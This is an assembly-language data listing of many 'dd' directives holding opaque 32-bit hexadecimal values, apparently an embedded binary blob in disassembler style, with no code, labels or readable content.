dd 5C6B3Dh, 4BDA2847h, 412162CCh, 362A8400h, 0F35DA1F4h
dd 929C00E6h, 0C15BFB5Ah, 5007BEACh, 0FED4D365h, 1C2CB4C0h
dd 0CB050032h, 53CF73DCh, 540FE2BAh, 24E11Ah, 1CFF25F1h
dd 0CA4800D7h, 2A69B686h, 850091E2h, 0AA71BA9Fh, 0B8ECDA2Bh
dd 16C2C042h, 33A1E383h, 8455DD0Fh, 0CF374054h, 4F14E7h
dd 0AD623015h, 49E36AB5h, 0D20FB17Ch, 40E6B381h, 13069760h
dd 4C771D3Fh, 7D8EC08Ch, 785B71FBh, 8565D00h, 431CDAFDh
dd 6A62002Fh, 8D39F054h, 1B2D348Bh, 56D03Ch, 67707495h
dd 0DD7BE9BFh, 0A12E577Dh, 7200F3D5h, 0A3E703A9h, 383D90FCh
dd 328019D9h, 71CDBD6Eh, 55509FF9h, 4703EA80h, 4948EBB2h
dd 0A4700F0Bh, 0A00FD16h, 0CC1B60F8h, 86F648h, 9E4EF92Ah
dd 3BF8858h, 5644AABBh, 8CA8C3F7h, 0B6008A98h, 0EC37361Ah
dd 18A15Ch, 2FB89BCAh, 86BD4F3Bh, 1ED9F030h, 0C084B642h
dd 0CF1B1D98h, 0FC065407h, 774080A2h, 855D0018h, 0D7E1B28Fh
dd 0C9015968h, 1248DB1Bh, 0D6ECAACFh, 6CF103BDh, 5A16C397h
dd 0F16E1989h, 1D8E60B0h, 0C58AF500h, 70EC4F43h, 98A90A25h
dd 0BF8644h, 0AF4C060Dh, 0F00FBFCh, 52AED5C7h, 0F25599h
dd 0D61F6F61h, 0EAFEFA82h, 0DE5ADD00h, 0BF0FDBCAh, 0F0E01E76h
dd 0CFD31CA0h, 896374BBh, 0DFC8529Bh, 4F0E3405h, 401D69C9h
dd 71A159FDh, 0B5E0B7h, 0F7DF5804h, 0D7126E62h, 8008B13Fh
dd 6953F9D1h, 1B20C5h, 856B271Ch, 6D1E29CAh, 60F7E701h
dd 67FC8070h, 0DE28F8h, 0D9D307B9h, 0EA8E0A8Ah, 8B88C701h
dd 4C7C0357h, 99D06680h, 5AE7D538h, 0A3836600h, 6525571Eh
dd 0C0F152B9h, 21F90600h, 39D54F0Eh, 4400AB72h, 872650AAh
dd 0EE2471h, 75AC66E9h, 70B568A5h, 0D006EECh, 0FD196258h
dd 3C9E3053h, 3798FE12h, 9648180Ch, 30AAD630h, 7E8F313h
dd 2817CC1h, 5CB62001h, 35009257h, 965F1B24h, 4430419h
dd 0C68BAF31h, 1C0BEF7h, 0A901D3h, 0ED65725Eh, 0E9A6738Fh
dd 52FAC112h, 0A76C5800h, 3C47C28Ah, 0EE07AF75h, 0F0030F5Eh
dd 0E75D2939h, 42091200h, 81451153h, 1C6D00E5h, 0F93BCBA9h
dd 2D00256Bh, 90A0ECDCh, 2418BC68h, 7D81777h, 60040C85h
dd 23B0FAD0h, 48CA8400h, 2CAEB42Dh, 0EA010162h, 63B95538h
dd 85173076h, 2FAA5200h, 0CBA480D8h, 316B0021h, 2696B698h
dd 0E0009B86h, 14BCD2BEh, 2F7607Ch, 0A9DACF33h, 0C0484EB2h
dd 5C3B941Eh, 5D768072h, 0F35AE677h, 1DDD3CF0h, 0BD510200h
dd 4144A147h, 0FC00E971h, 969CE763h, 7CA27E4Fh, 50523A69h
dd 34C50E00h, 5A47E51Eh, 75B2D102h, 0A09268A6h, 84512780h
dd 0B6F512E7h, 9780753h, 0BDC15014h, 0BA0095C7h, 68435A42h
dd 90C27737h, 0B24905Ch, 0CB2C7F48h, 2B499780h, 880196D5h
dd 0C0F9DCC6h, 0FAD83312h, 0E667FF1h, 4A5F5559h, 9219BA66h
dd 6002CA00h, 0B68BF238h, 0BE7600C6h, 97B07263h, 3EE4BD50h
dd 0C2C92600h, 6E42380Ch, 9986000Ah, 714644E1h, 0C1B5F54Fh
dd 0E9E8564Bh, 0D967003Ah, 0E2B9CE04h, 0E0B76FA5h, 1D3F72F5h
dd 5F439A6Dh, 0F51C81B4h, 0E81B0EBCh, 0DA28D5B5h, 8C24B85Fh
dd 148014C7h, 0FE9240CFh, 7291002Eh, 7BDC9D9h, 0A201A9B2h
dd 0E1E4F173h, 48808D0Dh, 0CB99DB6Bh, 0B6904E45h, 8AFAC02h
dd 48D83B1Fh, 0E62DA520h, 0D48509E3h, 4003995h, 3D24E563h
dd 91964C00h, 3C3E6884h, 0FCC548A6h, 0ADD32700h, 4F025829h
dd 8D4B38h, 1C84443Ah, 35AE8h, 0C24CE44Eh, 0A2F578AEh
dd 0DC18470Fh, 0D4C4C341h, 0B783E893h, 1E6F1F66h, 981C002h
dd 0D0773ACDh, 0A714C500h, 0E2B6A1F8h, 0B211034Bh, 0A09AD8Ch
dd 48C18B9Ah, 22C3C4A3h, 370080E2h, 4B01A79Fh, 1D9AE124h
dd 80EC21B6h, 0FFABFB82h, 0CB0EDDEDh, 40B34D5Fh, 59AA340h
dd 4B4E38A9h, 7393C12h, 0F0159CC6h, 0AEF8767Dh, 0D7DB9F00h
dd 544ADD0Fh, 0D81E6003h, 9B60C987h, 68089300h, 1CA9C6EEh
dd 6E6300D9h, 11889523h, 653BB880h, 32A60E0Ah, 481E2083h
dd 0F24D7h, 0B92F8B42h, 3FC7E047h, 9E81FC06h, 0B825E9h
dd 577AAC4Dh, 5537E358h, 0CB6709Fh, 79B592D1h, 3100DB80h
dd 9DAE3F91h, 1012F0h, 8C7F0BC5h, 338B0FBEh, 80C3EF24h
dd 9E26AE00h, 0FD6211h, 13556E23h, 6195E770h, 96FB8701h
dd 508F60DEh, 5992A820h, 0E23E14C1h, 3D8B9D81h, 606B7E7Ah
dd 16006083h, 693FBC43h, 726EC070h, 3C292E14h, 0D41FB940h
dd 0BCFA80AFh, 40EC9DCFh, 88C18930h, 597F7864h, 0F48008F8h
dd 98383483h, 0D50A7A00h, 7B5A5C75h, 0EDD90028h, 81FE6456h
dd 26505DF5h, 9124AC8Ch, 4C804C65h, 176ED48h, 0FC20EB0Fh
dd 6CE2008Dh, 0C60DA9B4h, 1400E510h, 64C2ED3h, 606EAD3Bh
dd 0DABA2847h, 4F608D5Bh, 73FAD511h, 0E36900CBh, 0FEE2C5FFh
dd 7A0A14A2h, 0DFDE916Dh, 85194500h, 508C69h, 3880AB04h
dd 0EAA32073h, 0CC5D9F24h, 0BD835800h, 0F143CEh, 0BAAAEC92h
dd 0A57E0C73h, 0E32E5E01h, 7F4E3D0Eh, 0E1F8AF61h, 7C100059h
dd 0F76D2AB7h, 0D0021921h, 0CBECF898h, 1237412Bh, 0E271CC20h
dd 0EEC9911h, 1FA0ECD6h, 317601BAh, 6BA96A00h, 33575DA8h
dd 697F00D9h, 79A64751h, 8F7C2648h, 0F93D0F00h, 9AEA052Fh
dd 99191555h, 7148B813h, 6F834C03h, 70004AD6h, 11EF3C69h
dd 9774EEAh, 409B393Dh, 366F9F82h, 0FB9998C1h, 0E443D4AAh
dd 7CB8C7F3h, 790F8DB2h, 60AD8412h, 0FFC92276h, 574A00AFh
dd 8F9D52BAh, 4B1C09C1h, 9500434Dh, 5D0DF15Eh, 7E8D0029h
dd 88AE5DFh, 0C916BC84h, 30039145h, 0AF1DA828h, 69F94D80h
dd 0DA2F0060h, 0BDBA8249h, 7300A4F5h, 6280CC8Bh, 0FAAF98Fh
dd 0C8D8F0FEh, 0EBB34E40h
dd 9E48B13Fh, 8F6402F4h, 8050C571h, 14D706FCh, 62BD00DAh
dd 0BAA1F21Eh, 0A400CA7Dh, 2B317A50h, 638779h, 695A7DCh
dd 0C80EE75Eh, 32E7C98h, 13D50E1h, 7AB1602Bh, 8865C67Dh
dd 5008E3D4h, 424FB4EBh, 2338809Fh, 0EB8B1Ch, 0DDC4AD5Dh
dd 0A434684Bh, 0B1E41900h, 0CCB57DD3h, 8914005Ch, 6A6B7B18h
dd 2A00DABBh, 53C3F6AAh, 1F622EC6h, 8017FA20h, 0D9E06339h
dd 0E900BB4Fh, 4BBDF309h, 1C6D803Ch, 9075A55h, 0F8079418h
dd 971531CFh, 0F9CA004Eh, 0EEB80337h, 0C3959D7Ah, 0A37682F0h
dd 57D73300h, 37C45B0Eh, 0A80B03A1h, 51060C66h, 1D4090F5h
dd 910047CCh, 567B4F2h, 48B13971h, 9C09F8BBh, 64807780h
dd 48E54255h, 94ED8103h, 0E886B210h, 9014EB8Dh, 0FE960278h
dd 1B7E1784h, 31C21860h, 0BD41AD00h, 0FBB6B99Ch, 165F07BEh
dd 40369E8Dh, 18C37EB7h, 818A8F3Fh, 0D8CCD7E6h, 0A6700168h
dd 594B0002h, 0FCF52B53h, 650051C4h, 0C6823A64h, 79FB697h
dd 4FDF735Fh, 0FE29B363h, 35757FA8h, 7AA2E70Ah, 0A440E430h
dd 88E8ECE3h, 700B9D8h, 0CCB2F3EAh, 0C3ED1Eh, 5DABD766h
dd 162E20DDh, 6719AC00h, 0C4616FD3h, 8B741245h, 7AA08324h
dd 593E83C0h, 0F6B83002h, 0E36A5E44h, 0DA84C0C4h, 0FC1050A3h
dd 0AAD000D1h, 57871EEh, 2A001FF9h, 2EA3CBE6h, 3C8CD5h
dd 19C13641h, 24B9C54Fh, 0C2048BE4h, 0F39E5C7Ch, 0CE52A887h
dd 80F36231h, 0E6A04BA8h, 0ECC74165h, 7C00C6E0h, 5214A58Ch
dd 818748h, 0E7326B31h, 0B3CBEF1Ch, 3A68F400h, 22F221B8h
dd 10010098h, 32DB7604h, 0C6005856h, 0B70D4152h, 8042F2FEh
dd 3C00803Eh, 0C239383Fh, 22B0F03h, 0D6B1764Fh, 0A4E24A19h
dd 90664D84h, 0A4E34188h, 3609120Fh, 0E70BA0E4h, 1245C610h
dd 44F534C0h, 405F70ACh, 1DE9B349h, 25F774CFh, 0A8002FA3h
dd 6A90F49Ah, 70980CB2h, 2317EC00h, 0E2A6E078h, 77A80A33h
dd 0B0D89Bh, 58CA7EC9h, 16F25080h, 41C8559h, 10EF2DF0h
dd 748A80C0h, 94AB0091h, 0DCC63EC9h, 68039A27h, 2EB8CB36h
dd 4ED380C5h, 0B95B072Ah, 80A586A1h, 0B528DEF9h, 6AEA1A0Fh
dd 8342C07Bh, 9AC088Fh, 0E8537137h, 7E69C800h, 8B40F1F5h
dd 201E08D6h, 52094CCFh, 36480006h, 765EDA22h, 3DBA094Bh
dd 0EC62FB2Ah, 29919E63h, 651BC133h, 6AB1F8B8h, 93E63F09h
dd 0E64A0EFh, 7701B9DDh, 124090D1h, 0CC32B8A4h, 29073EC8h
dd 5F338218h, 0FCA0EE64h, 956F03DEh, 7A55F422h, 62ED4B98h
dd 61758D00h, 90A40956h, 71960778h, 20A82DC6h, 2F2870Ch
dd 0E775F978h, 0C004AA0Ch, 0A1AD04Fh, 19FE2F0Eh, 466B80D4h
dd 0C0D05644h, 85BBB700h, 3E1CA590h, 70E10053h, 5C67ABF2h
dd 0F00F144h, 0AC18A378h, 131155C8h, 15DAA925h, 0BA790887h
dd 66000C0h, 0B858DFEBh, 0AD498228h, 0A7030430h, 0C903777h
dd 7CBF5232h, 0E2743D72h, 833EDC48h, 6786193Dh, 51DD6F13h
dd 5FA76800h, 7D79B0F9h, 7B8B87Bh, 0F5CF5791h, 0D2FB065h
dd 0A31DF447h, 26837C15h, 0D00B19A6h, 3DFF1C0h, 7B4D8AB9h
dd 0F3903A5Ch, 9163624Ch, 80944249h, 0FEF1035h, 9C556C92h
dd 0BA803BBCh, 0A9F6D722h, 0F2C6457h, 990034F5h, 0AFBD3756h
dd 9B7100ABh, 0F814F177h, 0C00316Bh, 63476AE1h, 0F21E2A0Dh
dd 0A5F60080h, 0F91B62D7h, 8398464Eh, 0ED4154Ch, 8CA007BCh
dd 0BA200Dh, 56D4316Ah, 0DC152D82h, 0F6007572h, 72431A9Ah
dd 2C183BAAh, 84381B90h, 48EE3FEh, 0FBFC44Eh, 604E3D1Ch
dd 72372E00h, 0CCA08D14h, 7601D0C0h, 515C1D2Dh, 0B2FC1B02h
dd 0A2BB0AE2h, 12A94D16h, 8A470063h, 46435167h, 6030C900h
dd 0BD4B26F4h, 0F5880E86h, 67C131DDh, 3044828Eh, 0B0222E30h
dd 5898EDh, 13FDD117h, 0EB5D9A89h, 3C855Ch, 67580B4Eh
dd 27ABC80h, 13732271h, 28685011h, 0B8888894h, 505C9C93h
dd 0DF2C3DE0h, 9A00B049h, 45109E15h, 8CFC08h, 0B4E7ADB9h
dd 0EEA17552h, 554AE601h, 0D0953FBCh, 7DB52D30h, 6BDD0010h
dd 28F3BE36h, 8B0BB2A4h, 0DC050h, 0B33A6E4h, 959E0109h
dd 0FE672612h, 0CD90884Ah, 0CCBF4294h, 90B030E3h, 810019E3h
dd 26B80E96h, 17005EDh, 389CA821h, 206E36C5h, 81246A40h
dd 0AF287C78h, 40003E78h, 0FAFDC2E8h, 0B06064h, 3562ECC3h
dd 0E9390A9Dh, 4A33CF07h, 0BD40D191h, 5B955CDh, 0E23D716Ch
dd 9FD18075h, 0FB1C89D0h, 358280D7h, 64D9A038h, 5FF00010h
dd 7718D884h, 0CBB8C2EDh, 0AC73D400h, 8D520C29h, 4E8507D7h
dd 2036E5BEh, 9091C8EDh, 0C92DF600h, 0AABDD482h, 5FF30199h
dd 5E585C0Eh, 0C36E805Bh, 88FF5983h, 0A3F20063h, 0A41DEF52h
dd 0B1001AE4h, 8BBC825Dh, 7C7F4651h, 0A32F0B23h, 4D00134Dh
dd 0B03EA952h, 0D800617Bh, 4ABC33C9h, 82DFDAh, 6DC5DDDCh
dd 0D9B7F727h, 0B254FB00h, 0ABF48ED2h, 0A1C8A0CBh, 967403C8h
dd 0B124E659h, 0EB9D2790h, 2BE3F501h, 0FC522180h, 7C16834h
dd 7125AB6Eh, 8F845944h, 9FB88016h, 7B24768Eh, 522C1C11h
dd 7C65F00h, 2CBCA7Dh, 0BD9106D2h, 0F383C812h, 283A0310h
dd 99AF930Bh, 0B991F901h, 706450E6h, 479C9625h, 5D9C3061h
dd 3109EB88h, 200AE919h, 0C743DD0Ch, 0B5C20098h, 78021468h
dd 0C6042C99h, 0AB4D7980h, 3F27CFC0h, 0C1242649h, 6E20030h
dd 0CA5AA98Ch, 0E37110C0h, 0B15DBF3h, 0EDB38E79h, 0B8A28460h
dd 9A29EF00h, 0B40C88Bh, 734B007Fh, 7CD0631h, 88303E76h
dd 0C256C872h, 29C1003Dh, 0FD205B04h, 7E00B56Bh, 0B71F9BFEh
dd 4B3875Eh, 4E1B2988h, 447480BAh, 2F01F1A8h, 7CBBFCD6h
dd 1BE08F06h, 748B1CDAh, 5DA10014h, 0BA794BE5h, 78195Ch
dd 81A01376h, 9F74094h, 5E5C6DA6h, 0FE3D3080h, 0F939DA73h
dd 75C19FECh, 0FCD4CD80h, 251AC2FBh, 0D002171Ch, 0C058404Ah
dd 1622FA01h, 0F6029443h, 757B3D8h, 44D88DD7h, 288BE0B9h
dd 873FCBD4h, 0A5AA00D1h, 0C44C9D67h, 35720011h, 0B8F18DE6h
dd 0B8B08E3Eh, 0F7031C16h, 614B98D0h, 50A50076h, 18A1640h
dd 0CF006414h, 70C457BAh, 2EA178EFh, 9B02675h, 2C206F8Bh
dd 0CE4BC1A0h, 1644331Ch, 0B400B028h, 725B8E11h, 78DB965h
dd 0D5B3DC6Bh, 80910464h, 967C5505h, 3C458F3Ah, 424C003Bh
dd 54FFB051h, 0B48E00B7h, 0DC190BF2h, 4800A4C4h, 0E7A89710h
dd 76E398h, 95C758E4h, 32B47AF5h, 8E014D01h, 6784CB42h
dd 3071430h, 47636E9Ah, 0DEA8FF9Fh, 8200622Ah, 0C8CAC37Fh
dd 0AF2694h, 799C8A90h, 0E3FD66E7h, 74284260h, 39375758h
dd 0BC802B97h, 0F3A7CD9Dh, 4060F6C4h, 3A5964B8h, 0AEFF0181h
dd 0D4C9F2E9h, 9866F0CDh, 0D505B500h, 26594150h, 0F0B000Eh
dd 2CEAEBC3h, 6502B4A4h, 0F8633864h, 8FAC4006h, 0FE4E1D2Dh
dd 0C2CC00A1h, 0A5B7C33Ch, 17E34D00h, 0F89D3305h, 78197A63h
dd 6F9051h, 0EE1E78C4h, 8DFD5EA4h, 0DEB82E00h, 0BF98E3AFh
dd 3392006Dh, 0FE5ED03h, 1800E1F7h, 0BECA11CFh, 7E4E628h
dd 0AC6CF619h, 0A2CE0DFh, 5A003D07h, 2A5347CEh, 0EA6213h
dd 38F16FE2h, 17107457h, 0C089DF01h, 6A019666h, 2625807Eh
dd 560FF74Ah, 405EE0EFh, 0B415115Dh, 0E30E0E9Ch, 0DC205774h
dd 77832E3Fh, 0D78AF700h, 31CE159Bh, 0A18E00C0h, 0BC84C63Bh
dd 0C2006ED0h, 3309D12h, 11BEF4h, 38DEAF61h, 0DF0627Ah
dd 39C38A00h, 0E2C6504Bh
dd 0CF820063h, 102E2C40h, 0A3001AF7h, 0A10F6133h, 7EC3EF31h
dd 673A1DADh, 225940EEh, 3B4DBB5h, 301348h, 0E988EC81h
dd 0F441B3h, 0BE89128Fh, 19662FDAh, 28086507h, 83C0A47Bh
dd 7BA458Ch, 0A0645FD6h, 27FCD066h, 7716FEC4h, 100027Ah
dd 492A0442h, 0F17101F8h, 62F463F5h, 779FD410h, 9ECA5612h
dd 0E6544Eh, 247958A9h, 0D66100A6h, 0F0D13167h, 3A74E5C3h
dd 366DEC0Fh, 0FC6B20CFh, 3A95FAC5h, 3BF4C7FEh, 9300A0C9h
dd 68FFBDC4h, 91003AD3h, 8E36CF9Bh, 12B8D896h, 312F5DCh
dd 86C1B42Ch, 0A4FA40D7h, 8E610D88h, 80829E18h, 1B39D6E8h
dd 78C6FCCEh, 430FF8A0h, 2DA84160h, 0DE9AE7C5h, 0F9150130h
dd 8017E561h, 1B76F308h, 12A232CAh, 4BC4CCh, 0FC01316h
dd 3A1F0C3Fh, 430F519Fh, 0DA1A0087h, 2CCFCAE0h, 12819Eh
dd 41A739AEh, 0CB0C99ADh, 69965BD7h, 0FFB70F8Fh, 612121C4h
dd 5081598Ch, 0AD392A9Ch, 80A6733Ch, 61108D0Dh, 0A0E90E62h
dd 7495D58h, 8A4E2C31h, 1F02605Bh, 0AC7DBBD3h, 463F6F0Fh
dd 0A52A831Eh, 2008F0F0h, 560403F7h, 0B5103C7Ah, 64B77FC0h
dd 3683D700h, 0E73F47F6h, 8DCE00C8h, 0C1E02DBCh, 30008196h
dd 3E9F265h, 0EAA9AF15h, 854C0047h, 7F48013Bh, 3300AA09h
dd 51E808F4h, 3900DEEh, 69DDF11Ah, 0EBC084FAh, 0D300A720h
dd 0C304E216h, 76D23CB8h, 7E3F0026h, 892F3848h, 223E8009h
dd 95EB0166h, 0F6CE4DBFh, 8E9483DEh, 715EB88Dh, 0A4C9501Ch
dd 895F7A4h, 660098B0h, 2A55ED6h, 6B0051FEh, 170AA229h
dd 37F418h, 7BCD82FAh, 2CC843A1h, 7A46C305h, 0C4003DE1h
dd 0A5F28D6Bh, 918921Eh, 22E66CA1h, 4189ED80h, 8674D98Ch
dd 0CA210860h, 1E75E665h, 0D83016D5h, 98BA6025h, 0A187460Ch
dd 7001290Ah, 21C86097h, 8F329834h, 30938D80h, 691818E8h
dd 0C419AB01h, 0C8F9ED3Dh, 5E08D018h, 0C4D91C73h, 0D8C0408Fh
dd 603E65Eh, 6B85DC90h, 2A0CD024h, 0E8A4CC8Ch, 3E4D0086h
dd 7C715779h, 0FA013D64h, 8F2FCB34h, 20E8DFCAh, 0C44F0081h
dd 942BF258h, 5D0EAABCh, 0A0632EECh, 69B3491Ah, 7F9D1260h
dd 91190310h, 0A397246Eh, 21A8D0A2h, 0F528E169h, 0A800B905h
dd 5A221BF2h, 13C9A4h, 0DD85AC23h, 37F60679h, 8A0E092Eh
dd 6393C40Eh, 0F05E3F78h, 0FE9EEFh, 5A3463C5h, 0CC670AC6h
dd 0E6CE1F00h, 0B8C00E64h, 1E8E0784h, 81209456h, 6B12D115h
dd 0E1CA2B00h, 5D9506h, 0F95B7983h, 12FBC105h, 0D8E5DD01h
dd 10B6CF33h, 0B7E25D8h, 5782F7C3h, 0D09E0787h, 7A0180EAh
dd 63497700h, 18CD4A98h, 1EC700C5h, 0F1684261h, 887E0E92h
dd 2886240Ch, 52D1D0C0h, 0B0AE04BFh, 975922h, 0A2B86F0Bh
dd 8A30C03Ch, 0DDBC9800h, 37B39EA1h, 0DA201D79h, 0E82E83A0h
dd 53C0A2FBh, 0D3039230h, 21A1AE31h, 4228C6E5h, 0A4ED1106h
dd 11D0EE11h, 0B221E74Dh, 23964E04h, 44D12A04h, 0BE48E1C4h
dd 9097A84Fh, 3CB48AC6h, 2B8F8A10h, 14C22891h, 0C9ACD931h
dd 0C411A776h, 839E122Bh, 28B5EA50h, 2228A229h, 0DA422C08h
dd 77AF4911h, 3CB929C0h, 5C6F662Dh, 6800C6F6h, 0D4FC1A21h
dd 0CB00BE1Dh, 9E34D6C8h, 97AE18h, 67F9944h, 4A245413h
dd 8046A738h, 85B75DBCh, 225014h, 5F2EA4BBh, 1DFF60B9h
dd 1F4C5100h, 0C9DEE7D7h, 0EA796061h, 0B37A8293h, 0DC04777Ah
dd 546F39C6h, 0F1BBC7C0h, 0B1EE170Fh, 4FDF00CEh, 4998AB3h
dd 8F8650Fh, 83D1C10Ah, 0ADC8261Bh, 47E10277h, 9C3FF7F5h
dd 0A724D6E0h, 915FE600h, 948A42BBh, 3722009Bh, 233BCA4Dh
dd 0C63F85BDh, 28B70E21h, 0F654402Ch, 170FB5A8h, 0CD56E7Ah
dd 26681FA9h, 1DE5B01Dh, 87074943h, 0FFAE8027h, 89A2000Ah
dd 82F8BD7Dh, 74002BA9h, 0A886AD7Bh, 60D7AE2Ch, 940A401Bh
dd 9F004D10h, 0CEDFD588h, 3103436Fh, 0B520085Ah, 8A31F828h
dd 78210C00h, 428EC3BFh, 0C0C8DE1Eh, 27B70B0h, 0A5006365h
dd 56127CFh, 70FDA9Fh, 0D968DE93h, 3A80FEC9h, 896A0BAAh
dd 0EE036104h, 0D8786A0h, 5A275930h, 3A710021h, 223E2F66h
dd 5D00F88Dh, 0B53D0614h, 0ED0D08h, 0A97C494Fh, 72BB7696h
dd 0B1B6DE00h, 14601B50h, 78E8000Eh, 7F9C8C2Eh, 270084BAh
dd 1C64428Fh, 0C78ACBh, 0D07D1BB0h, 266A1789h, 87784A9h
dd 7B4200F8h, 6BD5FECBh, 21EED0C8h, 8B7422F2h, 0F7ED7900h
dd 0B5F916B7h, 0AC120363h, 0E509AB9h, 62180CB8h, 4956800h
dd 0A82E96Ah, 5269003Ch, 15C70D9h, 0F4007B0Dh, 8A27BC4Ch
dd 44481Bh, 0DB97B426h, 68ADEFF8h, 0F9BFEA00h, 38B0724h
dd 0BB060A3Ch, 3C9C0ECAh, 3F05DE03h, 3D9038E8h, 9D0045A9h
dd 1E9C994Ch, 3D826FC1h, 88802074h, 375762D3h, 7900D2DFh
dd 149FBADDh, 7AE43101h, 718B3F4Dh, 8ED59680h, 0E5530A16h
dd 3657A501h, 33786BF9h, 3725C0h, 623D2E87h, 53BB21EEh
dd 97BD020Ch, 1AF5277h, 5EA3E62Fh, 47ABA990h, 1BB940ACh
dd 3C48E978h, 6E8100AFh, 0EB75B892h, 6FC720Dh, 9FCF2638h
dd 1902304Eh, 0C399B602h, 0EA2C4037h, 16278804h, 1EA2871Fh
dd 6A7BFE40h, 13441121h, 0EBD165A8h, 0CCD93100h, 95027827h
dd 0D00036F0h, 5B84B0A6h, 1E1D84Bh, 8C36414Ch, 30937262h
dd 1400CCC2h, 0F6C9AF4h, 7A6A80h, 0EC5CC29Fh, 0D8CBBA42h
dd 4EF26900h, 12DD4BC4h, 3B1AE694h, 8D81F029h, 7C93895Fh
dd 0D01180D5h, 0ABF5EE45h, 8A49004Ch, 5161CFC1h, 0D40003B2h
dd 582C7CE2h, 7B31AA34h, 129A00E3h, 0C695D5D8h, 5B00130Dh
dd 0EB236E78h, 1C98228h, 9668B005h, 44F70EA9h, 0D7890084h
dd 8F8C20E5h, 0FEF57B50h, 0BACC881Ch, 4119474Fh, 0D3AEDC9Fh
dd 16D2CCh, 4DB0028Ah, 9B25EEDFh, 0A0D8DD00h, 0ECFF6D8Bh
dd 0DB6600CFh, 1B19D1EDh, 0AA0062C3h, 503DD969h, 0B83E9Fh
dd 2EFDC4A3h, 1D178ACCh, 0DB4DE500h, 7642B98h, 0D4A2002Fh
dd 6FC72A81h, 0EE1433DFh, 0FC4DD1Ch, 0B232901Ah, 0D8C51841h
dd 60C905ACh, 0FA4A60h, 0B0CEC93Ch, 65D427E0h, 18283360h
dd 1980A43h, 2B901281h, 2205457Ch, 0B0F006B8h, 100AFEh
dd 9EE9C375h, 14F11834h, 0D1B1DC00h, 0AB952AB8h, 1CC94853h
dd 52CEC009h, 9FD0A4A0h, 3CE4D189h, 92F60209h, 88B880CBh
dd 19203ECFh, 20829DC9h, 0DB4ED47Ah, 3F57B800h, 8C102B95h
dd 6BF800FCh, 8F208056h, 2D188ECCh, 0BD68D80Ah, 1AE7034Bh
dd 4EAB02D5h, 11DC5800h, 83E34CD6h, 1D749Ah, 613B2188h
dd 13E0DA87h, 0D3E9940Ch, 0ADA863h, 732C12F6h, 8E52C42Ah
dd 0CDB83F00h, 296B19BAh, 0DAE52C6Eh, 1C200018h, 696C6603h
dd 9C3C9728h, 6DC9CA04h, 78804484h, 2D6149Eh, 37C6808h
dd 40481EDFh, 0AA00E101h, 14777038h, 0C36976h, 34FAFD89h
dd 0BE3A5B10h, 75908C00h, 73628A0Bh, 0DC0E00C5h, 0BBA61F0Ch
dd 0E0A07766h, 6C1D6533h, 0E3403E89h, 0D8353B8Eh, 21240090h
dd 0D5F4DC77h, 0EB1E201Eh, 46406215h, 0D62794EEh, 90C403E1h
dd 0C24E7A5h, 5A080798h, 543BC00Eh, 1219A167h, 0B834D0BDh
dd 3C9F0078h, 0FEF8F1B2h, 3D09F213h, 6889F9h, 19E9BFE4h
dd 10710026h, 0F85CB998h, 6A00B275h, 9B5DFF7Ch, 729FD8h
dd 0EBAD2D0h, 19CE01A9h, 88537E00h, 2E634203h, 0E85E24E2h
dd 705C02E0h, 5861368Ah, 44986011h, 4E3D411Fh, 197068Eh
dd 60B3B93Ch, 0CF9FD841h
dd 2257ED8h, 1D816F46h, 1FE0DE85h, 8D012A70h, 0F65A2129h
dd 0A3D5A9B8h, 9374C0h, 0CFBECC56h, 0BD1BAEBAh, 0AA6D4500h
dd 4043953Ah, 8A5501EDh, 4C4876B7h, 0E807FF3Eh, 6828CD2Eh
dd 0DE50B870h, 0FFD90689h, 30E2B678h, 170548h, 2075F73Dh
dd 36B23Ah, 0A6C459F8h, 0B62583D7h, 14506E00h, 846CC64h
dd 0B340082h, 47EFFC21h, 0C502E9C0h, 1D0A1A69h, 0C053C231h
dd 26E40Dh, 277143CBh, 74C62F68h, 81511A00h, 0C9048B57h
dd 7E150083h, 9502219Eh, 2400BB09h, 0BF723DFCh, 51B789h
dd 19484FE2h, 0A3B37545h, 801C1B4Ch, 47A6D2C5h, 0CE0900DEh
dd 0A9B14A1h, 5373BEB9h, 0FF5D8600h, 0CFB75F9h, 7294007Dh
dd 1FA8F778h, 8B142F0Fh, 2C45EE0h, 0EA0E232Bh, 2DF460E1h
dd 7BC900C8h, 57B438B1h, 0FA00C599h, 0ED542296h, 53676Dh
dd 0BF0ADC30h, 7ACE2B45h, 39590703h, 0D1799629h, 0C450FC3Eh
dd 91BC22CBh, 0E3948CECh, 45003B18h, 0D36A6D32h, 7AA280h
dd 0E6B2EF56h, 0D779C728h, 2FF73400h, 3FDEAD99h, 664C1C88h
dd 98684075h, 0D3D624F0h, 0EB36CA05h, 16C0BA07h, 0E46C6A78h
dd 227CFCh, 799EDD84h, 3B2BB038h, 80548F3Eh, 0B2462C5Fh
dd 2EA293h, 5F223D2h, 0ADF01327h, 118FE10Eh, 1890A05Ah
dd 4839708Eh, 3C00F0A8h, 0BFAEE250h, 0CF07DA27h, 3571060Fh
dd 64AB2130h, 0D929C7B2h, 0DCA9E0F4h, 0A9CE9753h, 5E152047h
dd 0FD2FC0B7h, 6E432880h, 0D938E193h, 857FAA75h, 8100DC90h
dd 3F9CAF17h, 0C3D05Ch, 13308DF5h, 0BD703651h, 2B49AE00h
dd 0D4BAD141h, 485C989Eh, 2904AFC7h, 0C0886C42h, 0C073DA3Ch
dd 3FACBA00h, 0EC4D5DBCh, 3A84A0D1h, 609000E6h, 5EE1B613h
dd 12EE1073h, 7D6FE8FDh, 71AF2900h, 33D4424Bh, 0FB7A13h
dd 0EF618C1Eh, 6C7090A4h, 529FA802h, 4987FFB3h, 0D0800B20h
dd 0ABFBC1CAh, 6800AF0Dh, 0D4981DDAh, 182479B4h, 1C02F615h
dd 3C07874Dh, 1F2A3F90h, 0DAE78B20h, 59B902E4h, 0A1D97609h
dd 2088C0C1h, 2A00AB14h, 37B701Ch, 0A90245h, 21E5B94Eh
dd 0E7EE397Dh, 23223F00h, 0CF9097Ch, 0A4D000A3h, 3EE8C250h
dd 4102ED35h, 0C8B58E54h, 8426E0EEh, 347612FBh, 0AC1CC0C3h
dd 349828CBh, 0D464B40Fh, 0B6EA186h, 20802C89h, 0EEF98123h
dd 0BD0080C1h, 11866C1Eh, 6AE955h, 5A1FCA47h, 3515BF3h
dd 0AC98DBB8h, 0E0FE5600h, 7FAB2098h, 8F53007Bh, 378A2D85h
dd 0A50212A7h, 0A161DC39h, 88F8807Eh, 7F2E893h, 3F0411D6h
dd 914FA00Ch, 7300E958h, 0A2692652h, 0CB4055h, 0B0C25310h
dd 32801EB7h, 0B500727Ah, 0C99B8A27h, 34A6C5h, 1B7B58E2h
